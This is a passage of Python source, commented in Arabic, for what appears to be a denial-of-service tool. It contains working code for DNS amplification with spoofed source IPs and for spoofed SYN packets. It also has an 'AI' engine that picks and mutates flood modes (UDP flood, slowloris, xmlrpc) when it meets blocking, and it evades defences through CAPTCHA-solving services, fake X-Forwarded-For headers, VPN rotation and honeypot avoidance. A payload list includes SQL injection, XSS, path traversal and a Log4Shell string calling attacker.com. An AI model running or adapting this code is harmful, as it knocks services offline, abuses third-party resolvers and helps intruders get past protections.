"de": {"lang": "de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7", "tz": "Europe/Berlin"},
"fr": {"lang": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7", "tz": "Europe/Paris"},
"ar": {"lang": "ar-SA,ar;q=0.9,en-US;q=0.8,en;q=0.7", "tz": "Asia/Riyadh"},
"jp": {"lang": "ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7", "tz": "Asia/Tokyo"},
"br": {"lang": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7", "tz": "America/Sao_Paulo"},
"in": {"lang": "en-IN,en;q=0.9,hi;q=0.8", "tz": "Asia/Kolkata"},
"default": {"lang": "en-US,en;q=0.9", "tz": "America/New_York"},
}
USER_AGENTS = [p["user_agent"] for p in BROWSER_PROFILES]
REALISTIC_ACCEPTS = [
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"application/json, text/javascript, */*; q=0.01",
"text/html,application/xml;q=0.9,image/webp,*/*;q=0.8",
]
APPLICATION_PATHS = [
"/",
"/index.php",
"/go/",
"/admin/",
"/api/track",
"/login",
"/redirect",
"/submit",
]
# ============================================================================
# CLASSES: أنظمة التخفي المتقدمة (مع تحسينات)
# ============================================================================
class HumanTimer:
"""توليد تأخيرات بشرية باستخدام توزيعات إحصائية"""
def __init__(self, base_delay: float = 0.5, burst_probability: float = 0.15):
self.base_delay = base_delay
self.burst_probability = burst_probability
self._last_delay = base_delay
def next_delay(self) -> float:
if random.random() < self.burst_probability:
delay = random.gauss(0.02, 0.01)
elif random.random() < 0.10:
delay = random.gauss(0.5, 0.2)
else:
pareto = random.paretovariate(1.5) * self.base_delay * 0.1
jitter = random.gauss(0, self.base_delay * 0.05)
delay = pareto + jitter
delay = max(0.001, min(delay, 1.5))
self._last_delay = delay
return delay
class HoneypotEvader:
@staticmethod
def is_honeypot_link(tag) -> bool:
if not BS4_AVAILABLE:
return False
style = tag.get("style", "").lower().replace(" ", "")
if "display:none" in style or "visibility:hidden" in style or "opacity:0" in style:
return True
classes = tag.get("class", [])
hidden_classes = ["hidden", "invisible", "d-none", "sr-only", "screen-reader-only"]
if any(c.lower() in hidden_classes for c in classes):
return True
return False
@staticmethod
def extract_safe_links(html: bytes) -> list[str]:
if not BS4_AVAILABLE:
return []
try:
soup = BeautifulSoup(html, "html.parser")
safe_links = []
for a_tag in soup.find_all("a", href=True):
if not HoneypotEvader.is_honeypot_link(a_tag):
safe_links.append(a_tag["href"])
return safe_links
except Exception:
return []
class CaptchaSolver:
API_BASE = "http://2captcha.com"
def __init__(self, api_key: str = ""):
self.api_key = api_key or globals().get("TWOCAPTCHA_API_KEY", "")
@property
def available(self) -> bool:
return bool(self.api_key)
def solve_recaptcha(self, sitekey: str, page_url: str, version: str = "v2") -> str:
if not self.available:
return ""
submit_url = (
f"{self.API_BASE}/in.php?key={self.api_key}"
f"&method=userrecaptcha&googlekey={sitekey}&pageurl={page_url}&json=1"
)
if version == "v3":
submit_url += "&version=v3&min_score=0.9"
try:
resp = json.loads(urllib.request.urlopen(submit_url, timeout=15).read())
if resp.get("status") != 1:
return ""
task_id = resp["request"]
for _ in range(24):
time.sleep(5)
result_url = f"{self.API_BASE}/res.php?key={self.api_key}&action=get&id={task_id}&json=1"
result = json.loads(urllib.request.urlopen(result_url, timeout=10).read())
if result.get("status") == 1:
return result["request"]
elif result.get("request") != "CAPCHA_NOT_READY":
return ""
return ""
except Exception:
return ""
def solve_hcaptcha(self, sitekey: str, page_url: str) -> str:
if not self.available:
return ""
submit_url = (
f"{self.API_BASE}/in.php?key={self.api_key}"
f"&method=hcaptcha&sitekey={sitekey}&pageurl={page_url}&json=1"
)
try:
resp = json.loads(urllib.request.urlopen(submit_url, timeout=15).read())
if resp.get("status") != 1:
return ""
task_id = resp["request"]
for _ in range(24):
time.sleep(5)
result_url = f"{self.API_BASE}/res.php?key={self.api_key}&action=get&id={task_id}&json=1"
result = json.loads(urllib.request.urlopen(result_url, timeout=10).read())
if result.get("status") == 1:
return result["request"]
elif result.get("request") != "CAPCHA_NOT_READY":
return ""
return ""
except Exception:
return ""
class CAPTCHASolver:
"""Attempts to solve CAPTCHA challenges using 2Captcha."""
def __init__(self, api_key: str = ""):
self.api_key = api_key or globals().get("TWOCAPTCHA_API_KEY", "")
def solve_2captcha(self, sitekey: str, pageurl: str) -> str:
if not self.api_key:
return ""
try:
submit_url = "http://2captcha.com/api/upload"
data = {
"method": "userrecaptcha",
"googlekey": sitekey,
"pageurl": pageurl,
"apikey": self.api_key,
"json": 1,
}
resp = urllib.request.urlopen(
urllib.request.Request(submit_url, data=urllib.parse.urlencode(data).encode())
)
result = json.loads(resp.read().decode())
if result.get("status") != 1:
return ""
captcha_id = result["captcha"]
result_url = f"http://2captcha.com/api/res?apikey={self.api_key}&captcha={captcha_id}&json=1"
for _ in range(30):
time.sleep(1)
resp = urllib.request.urlopen(result_url)
result = json.loads(resp.read().decode())
if result.get("status") == 1:
return result.get("request", "")
except Exception:
return ""
return ""
def detect_captcha(self, html: str) -> dict:
captchas = {
"recaptcha": "recaptcha" in html.lower(),
"hcaptcha": "hcaptcha" in html.lower(),
"image": "img" in html.lower() and "captcha" in html.lower(),
}
return {k: v for k, v in captchas.items() if v}
class MouseSimulator:
@staticmethod
def bezier_curve(start: tuple, end: tuple, control: tuple, steps: int = 20) -> list[tuple]:
points = []
for i in range(steps + 1):
t = i / steps
x = (1 - t) ** 2 * start[0] + 2 * (1 - t) * t * control[0] + t ** 2 * end[0]
y = (1 - t) ** 2 * start[1] + 2 * (1 - t) * t * control[1] + t ** 2 * end[1]
x += random.gauss(0, 1.5)
y += random.gauss(0, 1.5)
points.append((int(x), int(y)))
return points
@staticmethod
def simulate_on_page(page, duration_ms: int = 3000):
if not PLAYWRIGHT_AVAILABLE:
return
viewport = page.viewport_size or {"width": 1280, "height": 720}
w, h = viewport["width"], viewport["height"]
cx, cy = random.randint(100, w - 100), random.randint(100, h - 100)
page.mouse.move(cx, cy)
num_moves = random.randint(3, 6)
for _ in range(num_moves):
tx = random.randint(50, w - 50)
ty = random.randint(50, h - 50)
ctrl_x = random.randint(min(cx, tx), max(cx, tx)) + random.randint(-100, 100)
ctrl_y = random.randint(min(cy, ty), max(cy, ty)) + random.randint(-80, 80)
points = MouseSimulator.bezier_curve((cx, cy), (tx, ty), (ctrl_x, ctrl_y), steps=random.randint(15, 30))
for px, py in points:
px = max(0, min(px, w))
py = max(0, min(py, h))
page.mouse.move(px, py)
time.sleep(random.uniform(0.008, 0.025))
cx, cy = tx, ty
if random.random() < 0.4:
page.mouse.wheel(0, random.randint(100, 400))
time.sleep(random.uniform(0.3, 0.8))
time.sleep(random.uniform(0.2, 0.6))
if random.random() < 0.3:
page.mouse.click(cx, cy)
time.sleep(random.uniform(0.1, 0.3))
class RateLimitHandler:
def __init__(self):
self.backoff_multiplier = 1.0
self.consecutive_429 = 0
self.max_backoff = 60
def should_retry(self, status_code: int) -> bool:
return status_code in [429, 503, 502, 504]
def get_delay(self) -> float:
delay = min(self.backoff_multiplier ** self.consecutive_429, self.max_backoff)
return delay + random.uniform(0, 2)
def backoff_delay(self) -> float:
delay = self.get_delay()
self.backoff_multiplier = min(self.backoff_multiplier * 1.5, 128.0)
return delay
def on_rate_limit(self):
self.consecutive_429 += 1
delay = self.get_delay()
return delay
def reset(self):
if self.consecutive_429 > 0:
self.consecutive_429 = max(0, self.consecutive_429 - 1)
class AdvancedHeaderRotator:
FAKE_HEADERS = [
"X-Forwarded-For", "X-Real-IP", "X-Originating-IP",
"CF-Connecting-IP", "X-Client-IP", "X-Forwarded",
"X-Forwarded-Proto", "X-Forwarded-Host"
]
REALISTIC_REFERERS = [
"https://www.google.com/", "https://www.bing.com/",
"https://www.duckduckgo.com/", "https://www.yandex.com/",
"https://www.baidu.com/", "https://www.reddit.com/",
"https://www.facebook.com/"
]
@staticmethod
def generate_random_ip() -> str:
return f"{random.randint(1,223)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
@classmethod
def get_obfuscated_headers(cls, base_profile: dict) -> dict:
headers = base_profile.copy()
shuffled = {}
items = list(headers.items())
random.shuffle(items)
for k, v in items:
shuffled[k] = v
if random.random() < 0.7:
fake_ips = [cls.generate_random_ip() for _ in range(random.randint(1, 3))]
shuffled["X-Forwarded-For"] = ", ".join(fake_ips)
if random.random() < 0.6:
shuffled["X-Real-IP"] = cls.generate_random_ip()
if random.random() < 0.5:
shuffled["CF-Connecting-IP"] = cls.generate_random_ip()
if random.random() < 0.4:
shuffled["X-Requested-With"] = "XMLHttpRequest"
if random.random() < 0.5:
shuffled["Origin"] = random.choice(["https://www.google.com", "https://www.bing.com", "https://www.yahoo.com"])
if random.random() < 0.6:
shuffled["Referer"] = random.choice(cls.REALISTIC_REFERERS)
if random.random() < 0.3:
shuffled["CF-Visitor"] = '{"scheme":"https"}'
shuffled["Cache-Control"] = random.choice(["no-cache", "max-age=0", "no-store"])
shuffled["Pragma"] = "no-cache"
return shuffled
class AdaptiveDelayEngine:
def __init__(self):
self.success_rate = 1.0
self.last_delays = []
self.mode = "aggressive"
def next_delay(self) -> float:
if self.success_rate < 0.5:
delay = random.gauss(1.0, 0.3)
elif self.success_rate < 0.8:
delay = random.gauss(0.3, 0.1)
else:
delay = random.gauss(0.05, 0.02)
delay = max(0.01, delay)
self.last_delays.append(delay)
if len(self.last_delays) > 100:
self.last_delays.pop(0)
return delay
def update_success_rate(self, status_code: int):
if 200 <= status_code < 300:
self.success_rate = min(1.0, self.success_rate + 0.05)
elif status_code in [429, 503, 403]:
self.success_rate = max(0.1, self.success_rate - 0.15)
else:
self.success_rate = max(0.1, self.success_rate - 0.05)
class SessionIdentity:
def __init__(self, profile: dict, geo: str = "default", proxy: str = None):
self.profile = profile
self.geo = GEO_PROFILES.get(geo, GEO_PROFILES["default"])
self.proxy = proxy
self.cookie_jar = http.cookiejar.CookieJar()
handlers = [urllib.request.HTTPCookieProcessor(self.cookie_jar)]
if self.proxy:
proxy_dict = {}
if self.proxy.startswith("socks"):
proxy_dict = {"http": self.proxy, "https": self.proxy}
elif self.proxy.startswith("http"):
proxy_dict = {"http": self.proxy, "https": self.proxy}
else:
proxy_dict = {"http": f"http://{self.proxy}", "https": f"http://{self.proxy}"}
handlers.append(urllib.request.ProxyHandler(proxy_dict))
self.opener = urllib.request.build_opener(*handlers)
self.request_count = 0
self.created_at = time.monotonic()
def get_headers(self, keepalive: bool = False) -> dict[str, str]:
p = self.profile
headers = {}
headers["Host"] = ""
headers["Connection"] = "keep-alive" if keepalive else "close"
if p.get("upgrade_insecure_requests"):
headers["Upgrade-Insecure-Requests"] = p["upgrade_insecure_requests"]
headers["User-Agent"] = p["user_agent"]
headers["Accept"] = p["accept"]
if p.get("sec_fetch_site"):
headers["Sec-Fetch-Site"] = p["sec_fetch_site"]
if p.get("sec_fetch_mode"):
headers["Sec-Fetch-Mode"] = p["sec_fetch_mode"]
if p.get("sec_fetch_user"):
headers["Sec-Fetch-User"] = p["sec_fetch_user"]
if p.get("sec_fetch_dest"):
headers["Sec-Fetch-Dest"] = p["sec_fetch_dest"]
if p.get("sec_ch_ua"):
headers["Sec-CH-UA"] = p["sec_ch_ua"]
if p.get("sec_ch_ua_mobile"):
headers["Sec-CH-UA-Mobile"] = p["sec_ch_ua_mobile"]
if p.get("sec_ch_ua_platform"):
headers["Sec-CH-UA-Platform"] = p["sec_ch_ua_platform"]
headers["Accept-Encoding"] = p.get("accept_encoding", "gzip, deflate, br")
headers["Accept-Language"] = self.geo["lang"]
return headers
def is_expired(self, max_requests: int = 50, max_age: float = 300.0) -> bool:
if self.request_count >= max_requests:
return True
if time.monotonic() - self.created_at > max_age:
return True
return False
class IdentityPool:
def __init__(self, geo: str = "default", proxies: list[str] = None,
max_requests_per_identity: int = 50, max_age: float = 300.0,
use_js_bypass: bool = False, target_url: str = ""):
self.geo = geo
self.proxies = proxies or []
self.max_requests = max_requests_per_identity
self.max_age = max_age
self.use_js_bypass = use_js_bypass
self.target_url = target_url
self._identities: list[SessionIdentity] = []
self._lock = threading.Lock()
def _create_identity(self) -> SessionIdentity:
profile = random.choice(BROWSER_PROFILES)
proxy = random.choice(self.proxies) if self.proxies else None
ident = SessionIdentity(profile, self.geo, proxy)
if self.use_js_bypass and self.target_url:
threading.Thread(target=get_playwright_clearance, args=(self.target_url, ident), daemon=True).start()
return ident
def get_identity(self) -> SessionIdentity:
with self._lock:
for ident in self._identities:
if not ident.is_expired(self.max_requests, self.max_age):
ident.request_count += 1
return ident
ident = self._create_identity()
ident.request_count = 1
self._identities.append(ident)
self._identities = [
i for i in self._identities
if not i.is_expired(self.max_requests, self.max_age)
]
return ident
class TarpitDetector:
def __init__(self, min_speed_bps: int = 100, stall_timeout: float = 5.0):
self.min_speed_bps = min_speed_bps
self.stall_timeout = stall_timeout
def is_tarpitted(self, bytes_received: int, elapsed: float) -> bool:
if elapsed <= 0:
return False
speed = bytes_received / elapsed
if elapsed > self.stall_timeout and speed < self.min_speed_bps:
return True
return False
class AIPayloadGenerator:
FIRST_NAMES = ["Ahmed", "Mohamed", "Omar", "Youssef", "Ali", "John", "David", "Emma", "Sarah", "Mona"]
LAST_NAMES = ["Hassan", "Ali", "Ibrahim", "Smith", "Johnson", "Williams", "Brown", "Kamal", "Adel"]
DOMAINS = ["gmail.com", "yahoo.com", "hotmail.com", "outlook.com", "icloud.com"]
WAF_BYPASS_PAYLOADS = [
"' OR '1'='1' -- ",
"<script>alert('XSS')</script>",
"../../../etc/passwd",
"${jndi:ldap://attacker.com/a}",
"'; DROP TABLE users; -- ",
"1' AND SLEEP(5) -- ",
"{{7*7}}",
]
TARGET_KEYWORDS = ["payload", "message", "query", "data", "update", "info"]
USER_AGENTS_MOBILE = [
"Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Linux; Android 13; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Mobile Safari/537.36",
]
@classmethod
def learn_from_target(cls, url: str):
try:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
req = urllib.request.Request(url, headers={'User-Agent': random.choice(cls.USER_AGENTS_MOBILE)})
with urllib.request.urlopen(req, context=ctx, timeout=5) as resp:
html = resp.read().decode('utf-8', errors='ignore')
words = re.findall(r'\b[a-zA-Z]{5,12}\b', html)
if words:
cls.TARGET_KEYWORDS = list(set(words))[:50]
except Exception:
pass
@classmethod
def generate_sentence(cls) -> str:
length = random.randint(4, 10)
sentence = " ".join(random.choices(cls.TARGET_KEYWORDS, k=length))
return sentence.capitalize() + random.choice([".", "!", "..."])
@staticmethod
def generate_email(first: str, last: str) -> str:
formats = [
f"{first.lower()}.{last.lower()}",
f"{first.lower()}{last.lower()}{random.randint(10, 999)}",
f"{first.lower()[0]}{last.lower()}{random.randint(1980, 2005)}",
]
return f"{random.choice(formats)}@{random.choice(AIPayloadGenerator.DOMAINS)}"
@staticmethod
def generate_form_data(payload_type: str = "login") -> str:
first = random.choice(AIPayloadGenerator.FIRST_NAMES)
last = random.choice(AIPayloadGenerator.LAST_NAMES)
if payload_type == "login":
email = AIPayloadGenerator.generate_email(first, last)
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$"
password = "".join(random.choice(chars) for _ in range(random.randint(8, 16)))
return urllib.parse.urlencode({"email": email, "password": password, "remember": "true"})
elif payload_type == "comment":
name = f"{first} {last}"
email = AIPayloadGenerator.generate_email(first, last)
comment = AIPayloadGenerator.generate_sentence()
return urllib.parse.urlencode({"name": name, "email": email, "comment": comment})
elif payload_type == "search":
return urllib.parse.urlencode({"q": random.choice(AIPayloadGenerator.TARGET_KEYWORDS), "lang": "en"})
return "message=payload"
@staticmethod
def generate_json_data(payload_type: str = "login") -> str:
text = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz0123456789', k=2048))
return json.dumps({
"type": payload_type,
"payload": text,
"nested": [{"id": i, "value": random.random()} for i in range(20)]
})
@staticmethod
def generate_malicious_payload() -> str:
"""توليد حمولة هجومية لتجاوز WAF"""
return random.choice(AIPayloadGenerator.WAF_BYPASS_PAYLOADS)
class AIDecisionEngine:
def __init__(self, gui):
self.gui = gui
self.history = []
self.restart_cooldown = 0
def choose_initial_plan(self):
modes = ["http", "http-app", "tcp", "udp-flood", "slow-http", "slowloris", "xmlrpc"]
mode = random.choice(modes)
workers = random.choice([50, 100, 200, 400, 800])
requests = random.choice([5000, 10000, 20000, 50000, 100000])
method = random.choice(["GET", "POST"])
keepalive = random.choice([True, False])
human_timing = random.choice([True, False])
use_cffi = random.choice([True, False])
js_bypass = random.choice([True, False])
ai_payload = random.choice([True, False])
random_query = random.choice([True, False])
if mode not in ["http", "http-app"]:
method = "GET"
if mode in ["tcp", "udp-flood", "tcp-rst"]:
target = self.gui.target_var.get().strip()
if target.startswith("http"):
parsed = urllib.parse.urlparse(target)
self.gui.target_var.set(parsed.hostname or target)
self.gui.mode_var.set(mode)
self.gui.workers_var.set(str(workers))
self.gui.requests_var.set(str(requests))
self.gui.method_var.set(method)
self.gui.human_timing_var.set(human_timing)
self.gui.use_cffi_var.set(use_cffi)
self.gui.js_bypass_var.set(js_bypass)
self.gui.ai_payload_var.set(ai_payload)
self.gui.log(f"[🧠 AI] Initial attack plan selected: mode={mode}, workers={workers}, requests={requests}, method={method}, ai_payload={ai_payload}")
return {
"mode": mode,
"workers": workers,
"requests": requests,
"method": method,
"human_timing": human_timing,
"use_cffi": use_cffi,
"js_bypass": js_bypass,
"ai_payload": ai_payload,
"keepalive": keepalive,
"random_query": random_query,
}
def process_line(self, line: str):
if not line:
return None
self.history.append(line)
if len(self.history) > 200:
self.history.pop(0)
text = line.lower()
if self.restart_cooldown > 0:
self.restart_cooldown -= 1
if any(key in text for key in ["blocked", "403", "429", "503", "timeout", "error", "refused", "reset", "tarpit"]):
if self.restart_cooldown > 0:
return None
self.restart_cooldown = 50
self.gui.log("[🧠 AI] Console shows blocking or errors. Mutating strategy...")
return self.mutate_plan()
return None
def mutate_plan(self):
modes = ["http", "http-app", "tcp", "udp-flood", "slow-http", "slowloris", "xmlrpc"]
mode = random.choice(modes)
workers = random.choice([50, 100, 200, 400, 800])
requests = random.choice([5000, 10000, 20000, 50000, 100000])
method = random.choice(["GET", "POST"]) if mode in ["http", "http-app"] else "GET"
if mode in ["tcp", "udp-flood", "tcp-rst"]:
target = self.gui.target_var.get().strip()
if target.startswith("http"):
parsed = urllib.parse.urlparse(target)
self.gui.target_var.set(parsed.hostname or target)
self.gui.mode_var.set(mode)
self.gui.workers_var.set(str(workers))
self.gui.requests_var.set(str(requests))
self.gui.method_var.set(method)
self.gui.human_timing_var.set(random.choice([True, False]))
self.gui.use_cffi_var.set(random.choice([True, False]))
self.gui.js_bypass_var.set(random.choice([True, False]))
self.gui.ai_payload_var.set(random.choice([True, False]))
self.gui.log(f"[🧠 AI] New random strategy: mode={mode}, workers={workers}, requests={requests}, method={method}")
return {"restart": True}
OS_TCP_SIGNATURES = {
"windows": {"ttl": 128, "window": 65535, "mss": 1460, "wscale": 8},
"macos": {"ttl": 64, "window": 65535, "mss": 1460, "wscale": 6},
"linux": {"ttl": 64, "window": 29200, "mss": 1460, "wscale": 7},
"ios": {"ttl": 64, "window": 65535, "mss": 1400, "wscale": 6},
"android": {"ttl": 64, "window": 65535, "mss": 1460, "wscale": 7},
}
class TCPFingerprinter:
@staticmethod
def send_spoofed_syn(target_host: str, target_port: int, os_name: str = "windows", count: int = 1) -> int:
if not SCAPY_AVAILABLE:
return 0
sig = OS_TCP_SIGNATURES.get(os_name, OS_TCP_SIGNATURES["windows"])
tcp_options = [
("MSS", sig["mss"]),
("WScale", sig["wscale"]),
("NOP", None),
("NOP", None),
("SAckOK", b""),
]
sent = 0
for _ in range(count):
try:
pkt = (
IP(dst=target_host, ttl=sig["ttl"]) /
TCP(
sport=int(RandShort()),
dport=target_port,
flags="S",
window=sig["window"],
options=tcp_options,
)
)
send(pkt, verbose=False)
sent += 1
except Exception:
break
return sent
def dns_amplification_attack(target_ip: str, target_port: int = 53, count: int = 1000):
"""هجوم تضخيم DNS (يتطلب صلاحيات Admin لـ Spoofing)"""
if not SCAPY_AVAILABLE:
print("[!] Scapy missing for DNS amplification")
return
from scapy.all import IP, UDP, DNS, DNSQR, send
resolvers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222", "185.228.168.168"]
domains = ["isc.org", "google.com", "microsoft.com", "facebook.com", "cloudflare.com"]
sent = 0
for _ in range(count):
try:
pkt = IP(src=target_ip, dst=random.choice(resolvers)) / \
UDP(sport=random.randint(1024, 65535), dport=target_port) / \
DNS(rd=1, qd=DNSQR(qname=random.choice(domains), qtype="ANY"))
send(pkt, verbose=False)
sent += 1
except Exception:
pass
print(f"[+] DNS Amplification sent {sent} spoofed packets to {target_ip}")
class VPNRotator:
WARP_CLI_PATHS = [
r"C:\Program Files\Cloudflare\Cloudflare WARP\warp-cli.exe",
r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp-cli.exe",
]
def __init__(self, vpn_mode: str, interval_seconds: int = 300, log_callback=None):
self.vpn_mode = vpn_mode
self.interval = interval_seconds
self._stop_event = threading.Event()
self._thread = None
self.log_callback = log_callback
def _log(self, message: str, level: str = "INFO"):
if callable(self.log_callback):
try:
self.log_callback(message, level)
except Exception:
pass
else:
print(message)
def start(self):
self._stop_event.clear()
self._thread = threading.Thread(target=self._rotation_loop, daemon=True)
self._thread.start()
def stop(self):
self._stop_event.set()
if self._thread:
self._thread.join(timeout=2)
def _rotation_loop(self):
while not self._stop_event.wait(self.interval):
try:
self._rotate()
except Exception:
pass
def _rotate(self):
if "Cloudflare" in self.vpn_mode or "WARP" in self.vpn_mode:
warp_cli = None
all_paths = self.WARP_CLI_PATHS + ["/usr/bin/warp-cli", "/usr/local/bin/warp-cli"]
for p in all_paths:
if os.path.exists(p):
warp_cli = p
break
if warp_cli:
subprocess.run([warp_cli, "disconnect"], capture_output=True, timeout=10)
time.sleep(2)
subprocess.run([warp_cli, "set-mode", "warp+doh"], capture_output=True, timeout=5)
subprocess.run([warp_cli, "connect"], capture_output=True, timeout=10)
time.sleep(3)
elif "Tuxler" in self.vpn_mode:
mode_desc = "Residential" if "Residential" in self.vpn_mode else "Data Center" if "Data Center" in self.vpn_mode else "Default"
subprocess.run(["taskkill", "/F", "/IM", "TuxlerVPN.exe"], capture_output=True)
time.sleep(2)
for p in [os.path.join(os.environ.get('LOCALAPPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"),
r"C:\Program Files\TuxlerVPN\TuxlerVPN.exe",
r"C:\Program Files (x86)\TuxlerVPN\TuxlerVPN.exe"]:
if os.path.exists(p):
subprocess.Popen([p])
self._log(f"[VPN] Restarted Tuxler VPN ({mode_desc})", "INFO")
break
elif "IP Sharkk" in self.vpn_mode:
subprocess.run(["taskkill", "/F", "/IM", "IPSharkk.exe"], capture_output=True)
time.sleep(2)
for p in [r"C:\Program Files\IPSharkk\IPSharkk.exe",
r"C:\Program Files (x86)\IPSharkk\IPSharkk.exe"]:
if os.path.exists(p):
subprocess.Popen([p])
self._log("[VPN] Restarted IP Sharkk", "INFO")
break
def get_current_vpn(self):
return self.vpn_mode
def get_playwright_clearance(url: str, identity: SessionIdentity = None) -> dict[str, str]:
return {}
# ============================================================================
# دوال مساعدة لـ HTTP والهجمات الكلاسيكية
# ============================================================================
def add_api_bypass(url: str) -> str:
"""
أضف ?api= إلى الرابط إذا لم تكن موجودة.
يتم التحقق من وجود 'api=' في سلسلة الاستعلام.
"""
if 'api=' in url:
return url
parsed = urllib.parse.urlparse(url)
query = parsed.query
if query:
new_query = query + '&api=1'
else:
new_query = 'api=1'
return urllib.parse.urlunparse(parsed._replace(query=new_query))
def normalize_http_url(url: str, app_mode: bool, random_query: bool) -> str:
parsed = urllib.parse.urlparse(url)
path = parsed.path or "/"
if app_mode and path in {"", "/"}:
path = random.choice(APPLICATION_PATHS)
query = parsed.query or ""
if random_query:
rand = f"rand={random.randint(100000, 999999)}"
query = f"{query}&{rand}" if query else rand
return urllib.parse.urlunparse(parsed._replace(path=path, query=query))
def load_proxy_list(filepath: str) -> list[str]:
proxies = []
if not os.path.isfile(filepath):
return proxies
with open(filepath, "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if line and not line.startswith("#"):
proxies.append(line)
return proxies
def start_local_http_server(port: int):
server = ThreadingTCPServer(("127.0.0.1", port), SimpleHTTPRequestHandler)
thread = Thread(target=server.serve_forever, daemon=True)
thread.start()
return server
def start_local_xmlrpc_server(port: int):
server = SimpleXMLRPCServer(("127.0.0.1", port), logRequests=False, allow_none=True)
def pingback(source, target):
return f"received from {source} to {target}"
server.register_function(pingback, "pingback")
thread = Thread(target=server.serve_forever, daemon=True)
thread.start()
return server
def is_local_target(host: str) -> bool:
normalized = host.lower().strip()
if normalized.startswith("[") and normalized.endswith("]"):
normalized = normalized[1:-1]
return normalized in {"127.0.0.1", "localhost", "::1"}
def ensure_safe_target(target: str, allow_remote: bool, mode: str):
parsed = urllib.parse.urlparse(target)
host = parsed.hostname or target
if is_local_target(host):
return True
if not allow_remote:
raise ValueError(f"Remote targets are disabled: {host}")
return True
def build_request(url: str, method: str, headers: dict, data: bytes = None):
return urllib.request.Request(url, data=data, headers=headers, method=method)
def get_random_playwright_headers() -> dict[str, str]:
if not PLAYWRIGHT_AVAILABLE:
return {}
with sync_playwright() as pw:
device_name = random.choice(["iPhone 13", "Pixel 5", "Desktop Chrome", "Desktop Firefox"])
device = pw.devices.get(device_name, {})
headers = {
"User-Agent": device.get("user_agent", random.choice(USER_AGENTS)),
"Accept-Language": device.get("locale", "en-US,en;q=0.9"),
"Accept": device.get("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
"Accept-Encoding": "gzip, deflate, br",
"Sec-CH-UA": device.get("user_agent", '"Chromium";v="124"'),
"Sec-CH-UA-Mobile": device.get("mobile", "?0"),
"Sec-CH-UA-Platform": device.get("platform", "Windows"),
"Upgrade-Insecure-Requests": "1",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
}
if device.get("platform"):
headers["Sec-CH-UA-Platform"] = device["platform"]
return headers
def build_http_headers(extra_headers: bool | dict, keepalive: bool, playwright_headers: dict = None, identity: SessionIdentity = None) -> dict[str, str]:
if identity:
headers = identity.get_headers(keepalive=keepalive)
if playwright_headers:
headers.update(playwright_headers)
if isinstance(extra_headers, dict):
headers.update(extra_headers)
return headers
headers = {
"User-Agent": random.choice(USER_AGENTS),
"Accept": random.choice(REALISTIC_ACCEPTS),
"Accept-Encoding": random.choice(["gzip, deflate, br", "gzip, deflate", "br, gzip, deflate"]),
"Connection": "keep-alive" if keepalive else "close",
"Upgrade-Insecure-Requests": "1",
}
if isinstance(extra_headers, dict):
headers.update(extra_headers)
elif extra_headers:
headers["Accept-Language"] = random.choice(["en-US,en;q=0.9", "ar-SA,ar;q=0.8,en-US;q=0.6,en;q=0.4"])
headers["Cache-Control"] = "no-cache"
headers["Pragma"] = "no-cache"
headers["Referer"] = random.choice(["https://www.google.com/", "https://www.bing.com/", "https://www.yahoo.com/"])
headers["Origin"] = random.choice(["https://www.google.com", "https://www.bing.com", "https://www.yahoo.com"])
headers["Sec-Fetch-Site"] = random.choice(["same-origin", "same-site", "cross-site", "none"])
headers["Sec-Fetch-Mode"] = random.choice(["navigate", "cors", "no-cors"])
headers["Sec-Fetch-Dest"] = random.choice(["document", "empty", "iframe"])
headers["Sec-Fetch-User"] = "?1"
headers["Sec-CH-UA"] = random.choice(["\"Chromium\";v=\"124\"", "\"Google Chrome\";v=\"124\"", "\"Not.A/Brand\";v=\"99\""])
headers["Sec-CH-UA-Mobile"] = random.choice(["?0", "?1"])
headers["Sec-CH-UA-Platform"] = random.choice(["Windows", "macOS", "Android", "iOS"])
if playwright_headers:
headers.update(playwright_headers)
return headers
_tarpit_detector = TarpitDetector()
def cffi_http_request(url: str, method: str, payload: str, identity: SessionIdentity, timeout: int = 5, random_query: bool = False, app_mode: bool = False):
url = normalize_http_url(url, app_mode, random_query)
headers = identity.get_headers(keepalive=False)
header_rotator = AdvancedHeaderRotator()
headers = header_rotator.get_obfuscated_headers(headers)
parsed = urllib.parse.urlparse(url)
if parsed.hostname:
headers["Host"] = parsed.hostname
tls_target = identity.profile.get("tls_impersonate", "chrome124")
data = None
if method == "POST":
data = payload or "message=payload"
headers["Content-Type"] = "application/x-www-form-urlencoded"
proxies = None
if identity.proxy:
proxies = {"http": identity.proxy, "https": identity.proxy}
start = time.monotonic()
try:
resp = cffi_requests.request(
method, url,
headers=headers,
data=data,
timeout=timeout,
impersonate=tls_target,
proxies=proxies,
allow_redirects=True,
)
elapsed = time.monotonic() - start
content_len = len(resp.content) if resp.content else 0
if _tarpit_detector.is_tarpitted(content_len, elapsed):
return "TARPIT_DETECTED", elapsed
return resp.status_code, elapsed
except Exception as exc:
elapsed = time.monotonic() - start
return str(exc), elapsed
thread_local = threading.local()
def _get_keepalive_connection(parsed: urllib.parse.ParseResult, timeout: int, proxy: str = None):
conn = getattr(thread_local, "conn", None)
port = parsed.port or (443 if parsed.scheme == "https" else 80)
if conn is None or getattr(conn, "host", None) != parsed.hostname or getattr(conn, "port", None) != port or getattr(conn, "proxy", None) != proxy:
if conn is not None:
try:
conn.close()
except Exception:
pass
if proxy:
proxy_parts = proxy.replace("http://", "").replace("https://", "").replace("socks5://", "").split(":")
